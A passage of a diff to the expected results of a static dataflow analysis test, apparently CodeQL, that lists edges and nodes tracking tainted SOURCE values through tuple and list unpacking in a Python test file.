test.py:606:11:606:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:609:5:609:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | +| test.py:606:11:606:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:618:6:618:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:606:11:606:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:627:5:627:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | +| test.py:606:11:606:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:636:6:636:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:606:11:606:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:609:5:609:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 2] | +| test.py:606:11:606:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:618:6:618:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:606:11:606:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:627:5:627:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 2] | +| test.py:606:11:606:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:636:6:636:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:606:12:606:17 | ControlFlowNode for SOURCE | test.py:606:12:606:36 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:606:12:606:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:606:11:606:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:606:12:606:36 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:606:11:606:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:606:31:606:36 | ControlFlowNode for SOURCE | test.py:606:12:606:36 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:609:5:609:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | test.py:609:6:609:14 | IterableSequence [Tuple element at index 0] | +| test.py:609:5:609:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 2] | test.py:609:6:609:14 | IterableSequence [Tuple element at index 2] | +| test.py:609:6:609:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:609:7:609:8 | SSA variable a1 | +| test.py:609:6:609:14 | ControlFlowNode for List [Tuple element at index 2] | test.py:609:11:609:13 | IterableElement | +| test.py:609:6:609:14 | IterableSequence [Tuple element at index 0] | test.py:609:6:609:14 | ControlFlowNode for List [Tuple element at index 0] | +| test.py:609:6:609:14 | IterableSequence [Tuple element at index 2] | test.py:609:6:609:14 | ControlFlowNode for List [Tuple element at index 2] | | test.py:609:7:609:8 | SSA variable a1 | test.py:610:10:610:11 | ControlFlowNode for a1 | -| test.py:609:7:609:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:609:7:609:8 | SSA variable a1 | -| test.py:609:7:609:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:609:11:609:13 | IterableElement | -| test.py:609:7:609:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:609:11:609:13 | IterableElement | -| test.py:609:7:609:13 | IterableSequence [Tuple element at index 0] | test.py:609:7:609:13 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:609:7:609:13 | IterableSequence [Tuple element at index 2] | test.py:609:7:609:13 | ControlFlowNode for Tuple [Tuple element at index 2] | | test.py:609:11:609:13 | IterableElement | test.py:609:11:609:13 | SSA variable a2 [List element] | | test.py:609:11:609:13 | SSA variable a2 [List element] | test.py:612:12:612:13 | ControlFlowNode for a2 [List element] | | test.py:609:11:609:13 | SSA variable a2 [List element] | test.py:613:10:613:11 | ControlFlowNode for a2 [List element] | | test.py:612:12:612:13 | ControlFlowNode for a2 [List element] | test.py:612:12:612:16 | ControlFlowNode for Subscript | | test.py:613:10:613:11 | ControlFlowNode for a2 [List element] | test.py:613:10:613:14 | ControlFlowNode for Subscript | -| test.py:618:5:618:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:618:7:618:13 | IterableSequence [Tuple element at index 0] | -| test.py:618:5:618:19 | ControlFlowNode for List [List element, Tuple element at index 2] | test.py:618:7:618:13 | IterableSequence [Tuple element at index 2] | -| test.py:618:5:618:19 | IterableElement [Tuple element at index 0] | test.py:618:5:618:19 | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:618:5:618:19 | IterableElement [Tuple element at index 2] | test.py:618:5:618:19 | ControlFlowNode for List [List element, Tuple element at index 2] | -| test.py:618:5:618:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | test.py:618:5:618:19 | IterableElement [Tuple element at index 0] | -| test.py:618:5:618:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | test.py:618:5:618:19 | IterableElement [Tuple element at index 2] | +| test.py:618:6:618:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:618:7:618:13 | IterableSequence [Tuple element at index 0] | +| test.py:618:6:618:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:618:7:618:13 | IterableSequence [Tuple element at index 2] | | test.py:618:7:618:8 | SSA variable a1 | test.py:619:10:619:11 | ControlFlowNode for a1 | | test.py:618:7:618:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:618:7:618:8 | SSA variable a1 | -| test.py:618:7:618:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:618:11:618:13 | IterableElement | | test.py:618:7:618:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:618:11:618:13 | IterableElement | | test.py:618:7:618:13 | IterableSequence [Tuple element at index 0] | test.py:618:7:618:13 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:618:7:618:13 | IterableSequence [Tuple element at index 2] | test.py:618:7:618:13 | ControlFlowNode for Tuple [Tuple element at index 2] | @@ -271,19 +260,32 @@ edges | test.py:618:11:618:13 | SSA variable a2 [List element] | test.py:622:10:622:11 | ControlFlowNode for a2 [List element] | | test.py:621:12:621:13 | ControlFlowNode for a2 [List element] | test.py:621:12:621:16 | ControlFlowNode for Subscript | | test.py:622:10:622:11 | ControlFlowNode for a2 [List element] | test.py:622:10:622:14 | ControlFlowNode for Subscript | -| test.py:627:6:627:14 | ControlFlowNode for List [List element] | test.py:627:7:627:8 | SSA variable a1 | -| test.py:627:6:627:14 | ControlFlowNode for List [List element] | test.py:627:11:627:13 | IterableElement | -| test.py:627:6:627:14 | IterableElement | test.py:627:6:627:14 | ControlFlowNode for List [List element] | -| test.py:627:6:627:14 | IterableSequence [Tuple element at index 0] | test.py:627:6:627:14 | IterableElement | -| test.py:627:6:627:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:627:6:627:14 | IterableSequence [Tuple element at index 0] | +| test.py:627:5:627:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | test.py:627:7:627:13 | IterableSequence [Tuple element at index 0] | +| test.py:627:5:627:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 2] | test.py:627:7:627:13 | IterableSequence [Tuple element at index 2] | | test.py:627:7:627:8 | SSA variable a1 | test.py:628:10:628:11 | ControlFlowNode for a1 | +| test.py:627:7:627:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:627:7:627:8 | SSA variable a1 | +| test.py:627:7:627:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:627:11:627:13 | IterableElement | +| test.py:627:7:627:13 | IterableSequence [Tuple element at index 0] | test.py:627:7:627:13 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:627:7:627:13 | IterableSequence [Tuple element at index 2] | test.py:627:7:627:13 | ControlFlowNode for Tuple [Tuple element at index 2] | | test.py:627:11:627:13 | IterableElement | test.py:627:11:627:13 | SSA variable a2 [List element] | | test.py:627:11:627:13 | SSA variable a2 [List element] | test.py:630:12:630:13 | ControlFlowNode for a2 [List element] | | test.py:627:11:627:13 | SSA variable a2 [List element] | test.py:631:10:631:11 | ControlFlowNode for a2 [List element] | | test.py:630:12:630:13 | ControlFlowNode for a2 [List element] | test.py:630:12:630:16 | ControlFlowNode for Subscript | | test.py:631:10:631:11 | ControlFlowNode for a2 [List element] | test.py:631:10:631:14 | ControlFlowNode for Subscript | -| test.py:638:19:638:24 | ControlFlowNode for SOURCE | test.py:639:10:639:10 | ControlFlowNode for a | -| test.py:730:16:730:21 | ControlFlowNode for SOURCE | test.py:733:10:733:36 | ControlFlowNode for return_from_inner_scope() | +| test.py:636:6:636:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:636:7:636:8 | SSA variable a1 | +| test.py:636:6:636:14 | ControlFlowNode for List [Tuple element at index 2] | test.py:636:11:636:13 | IterableElement | +| test.py:636:6:636:14 | IterableSequence [Tuple element at index 0] | test.py:636:6:636:14 | ControlFlowNode for List [Tuple element at index 0] | +| test.py:636:6:636:14 | IterableSequence [Tuple element at index 2] | test.py:636:6:636:14 | ControlFlowNode for List [Tuple element at index 2] | +| test.py:636:6:636:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:636:6:636:14 | IterableSequence [Tuple element at index 0] | +| test.py:636:6:636:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:636:6:636:14 | IterableSequence [Tuple element at index 2] | +| test.py:636:7:636:8 | SSA variable a1 | test.py:637:10:637:11 | ControlFlowNode for a1 | +| test.py:636:11:636:13 | IterableElement | test.py:636:11:636:13 | SSA variable a2 [List element] | +| test.py:636:11:636:13 | SSA variable a2 [List element] | test.py:639:12:639:13 | ControlFlowNode for a2 [List element] | +| test.py:636:11:636:13 | SSA variable a2 [List element] | test.py:640:10:640:11 | ControlFlowNode for a2 [List element] | +| test.py:639:12:639:13 | ControlFlowNode for a2 [List element] | test.py:639:12:639:16 | ControlFlowNode for Subscript | +| test.py:640:10:640:11 | ControlFlowNode for a2 [List element] | test.py:640:10:640:14 | ControlFlowNode for Subscript | +| test.py:647:19:647:24 | ControlFlowNode for SOURCE | test.py:648:10:648:10 | ControlFlowNode for a | +| test.py:739:16:739:21 | ControlFlowNode for SOURCE | test.py:742:10:742:36 | ControlFlowNode for return_from_inner_scope() | nodes | datamodel.py:38:6:38:17 | ControlFlowNode for f() | semmle.label | ControlFlowNode for f() | | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | @@ -476,16 +478,16 @@ nodes | test.py:551:11:551:20 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | | test.py:551:12:551:19 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | | test.py:551:13:551:18 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:552:5:552:11 | ControlFlowNode for List [List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element] | +| test.py:552:5:552:11 | ControlFlowNode for List [Tuple element at index 0, List element, List element] | semmle.label | ControlFlowNode for List [Tuple element at index 0, List element, List element] | | test.py:552:5:552:11 | IterableElement [List element, List element] | semmle.label | IterableElement [List element, List element] | | test.py:552:5:552:11 | IterableSequence [List element, List element, List element] | semmle.label | IterableSequence [List element, List element, List element] | | test.py:552:5:552:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | | test.py:552:5:552:14 | IterableElement [List element, List element, List element] | semmle.label | IterableElement [List element, List element, List element] | | test.py:552:5:552:14 | IterableSequence [List element, List element, List element, List element] | semmle.label | IterableSequence [List element, List element, List element, List element] | -| test.py:552:6:552:10 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:552:6:552:10 | ControlFlowNode for List [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for List [Tuple element at index 0, List element] | | test.py:552:6:552:10 | IterableElement [List element] | semmle.label | IterableElement [List element] | | test.py:552:6:552:10 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | -| test.py:552:7:552:9 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:552:7:552:9 | ControlFlowNode for List [Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | | test.py:552:7:552:9 | IterableElement | semmle.label | IterableElement | | test.py:552:7:552:9 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | | test.py:552:8:552:8 | SSA variable a | semmle.label | SSA variable a | @@ -499,82 +501,82 @@ nodes | test.py:560:5:560:12 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:560:8:560:9 | IterableElement | semmle.label | IterableElement | | test.py:560:8:560:9 | SSA variable b [List element] | semmle.label | SSA variable b [List element] | +| test.py:560:12:560:12 | SSA variable c | semmle.label | SSA variable c | | test.py:561:10:561:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | | test.py:563:10:563:10 | ControlFlowNode for b [List element] | semmle.label | ControlFlowNode for b [List element] | | test.py:563:10:563:13 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:569:10:569:61 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:569:11:569:37 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:569:12:569:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:569:31:569:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:569:40:569:47 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:569:41:569:46 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:572:6:572:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:572:6:572:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | -| test.py:572:6:572:23 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | -| test.py:572:7:572:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:572:7:572:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:572:7:572:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:572:7:572:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:572:7:572:16 | IterableElement | semmle.label | IterableElement | -| test.py:572:7:572:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | -| test.py:572:11:572:12 | SSA variable a2 | semmle.label | SSA variable a2 | -| test.py:572:15:572:16 | SSA variable a3 | semmle.label | SSA variable a3 | -| test.py:573:10:573:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:574:12:574:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | -| test.py:575:10:575:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | -| test.py:580:5:580:24 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:580:5:580:24 | IterableElement [List element] | semmle.label | IterableElement [List element] | -| test.py:580:5:580:24 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | -| test.py:580:7:580:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:580:7:580:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:580:7:580:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:580:7:580:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:580:7:580:16 | IterableElement | semmle.label | IterableElement | -| test.py:580:7:580:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | -| test.py:580:11:580:12 | SSA variable a2 | semmle.label | SSA variable a2 | -| test.py:580:15:580:16 | SSA variable a3 | semmle.label | SSA variable a3 | -| test.py:581:10:581:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:582:12:582:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | -| test.py:583:10:583:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | -| test.py:588:6:588:17 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:588:6:588:17 | IterableElement | semmle.label | IterableElement | -| test.py:588:6:588:17 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | -| test.py:588:6:588:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:588:6:588:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | -| test.py:588:6:588:23 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | -| test.py:588:7:588:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:588:11:588:12 | SSA variable a2 | semmle.label | SSA variable a2 | -| test.py:588:15:588:16 | SSA variable a3 | semmle.label | SSA variable a3 | -| test.py:589:10:589:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:590:12:590:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | -| test.py:591:10:591:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | -| test.py:597:11:597:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:597:11:597:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | -| test.py:597:12:597:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:597:12:597:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:597:12:597:36 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:597:31:597:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:600:5:600:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:600:5:600:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | -| test.py:600:5:600:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 0] | -| test.py:600:6:600:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:600:6:600:14 | IterableElement | semmle.label | IterableElement | -| test.py:600:6:600:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | -| test.py:600:7:600:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:600:11:600:13 | IterableElement | semmle.label | IterableElement | -| test.py:600:11:600:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | -| test.py:601:10:601:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:603:12:603:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:603:12:603:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:604:10:604:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:604:10:604:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:609:6:609:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:609:6:609:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:564:12:564:12 | ControlFlowNode for c | semmle.label | ControlFlowNode for c | +| test.py:569:10:569:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:569:10:569:23 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:569:10:569:23 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:569:18:569:23 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:570:5:570:5 | SSA variable a | semmle.label | SSA variable a | +| test.py:570:5:570:12 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:570:5:570:12 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:570:12:570:12 | SSA variable c | semmle.label | SSA variable c | +| test.py:571:10:571:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:573:10:573:10 | ControlFlowNode for c | semmle.label | ControlFlowNode for c | +| test.py:578:10:578:61 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:578:11:578:37 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:578:12:578:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:578:31:578:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:578:40:578:47 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:578:41:578:46 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:581:6:581:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:581:6:581:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:581:6:581:23 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | +| test.py:581:7:581:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:581:7:581:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:581:7:581:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:581:7:581:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:581:7:581:16 | IterableElement | semmle.label | IterableElement | +| test.py:581:7:581:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:581:11:581:12 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:581:15:581:16 | SSA variable a3 | semmle.label | SSA variable a3 | +| test.py:582:10:582:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:583:12:583:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:584:10:584:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | +| test.py:589:5:589:24 | ControlFlowNode for List [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for List [Tuple element at index 0, List element] | +| test.py:589:5:589:24 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:589:5:589:24 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | +| test.py:589:7:589:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:589:7:589:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:589:7:589:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:589:7:589:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:589:7:589:16 | IterableElement | semmle.label | IterableElement | +| test.py:589:7:589:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:589:11:589:12 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:589:15:589:16 | SSA variable a3 | semmle.label | SSA variable a3 | +| test.py:590:10:590:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:591:12:591:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:592:10:592:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | +| test.py:597:6:597:17 | ControlFlowNode for List [Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | +| test.py:597:6:597:17 | ControlFlowNode for List [Tuple element at index 1] | semmle.label | ControlFlowNode for List [Tuple element at index 1] | +| test.py:597:6:597:17 | ControlFlowNode for List [Tuple element at index 2] | semmle.label | ControlFlowNode for List [Tuple element at index 2] | +| test.py:597:6:597:17 | IterableElement | semmle.label | IterableElement | +| test.py:597:6:597:17 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:597:6:597:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:597:6:597:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:597:6:597:23 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | +| test.py:597:7:597:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:597:11:597:12 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:597:15:597:16 | SSA variable a3 | semmle.label | SSA variable a3 | +| test.py:598:10:598:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:599:12:599:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:600:10:600:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | +| test.py:606:11:606:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:606:11:606:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:606:12:606:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:606:12:606:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:606:12:606:36 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:606:31:606:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:609:5:609:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | +| test.py:609:5:609:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 2] | +| test.py:609:6:609:14 | ControlFlowNode for List [Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | +| test.py:609:6:609:14 | ControlFlowNode for List [Tuple element at index 2] | semmle.label | ControlFlowNode for List [Tuple element at index 2] | +| test.py:609:6:609:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:609:6:609:14 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | | test.py:609:7:609:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:609:7:609:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:609:7:609:13 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:609:7:609:13 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | -| test.py:609:7:609:13 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | | test.py:609:11:609:13 | IterableElement | semmle.label | IterableElement | | test.py:609:11:609:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | | test.py:610:10:610:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | @@ -582,12 +584,8 @@ nodes | test.py:612:12:612:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | test.py:613:10:613:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | | test.py:613:10:613:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:618:5:618:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:618:5:618:19 | ControlFlowNode for List [List element, Tuple element at index 2] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 2] | -| test.py:618:5:618:19 | IterableElement [Tuple element at index 0] | 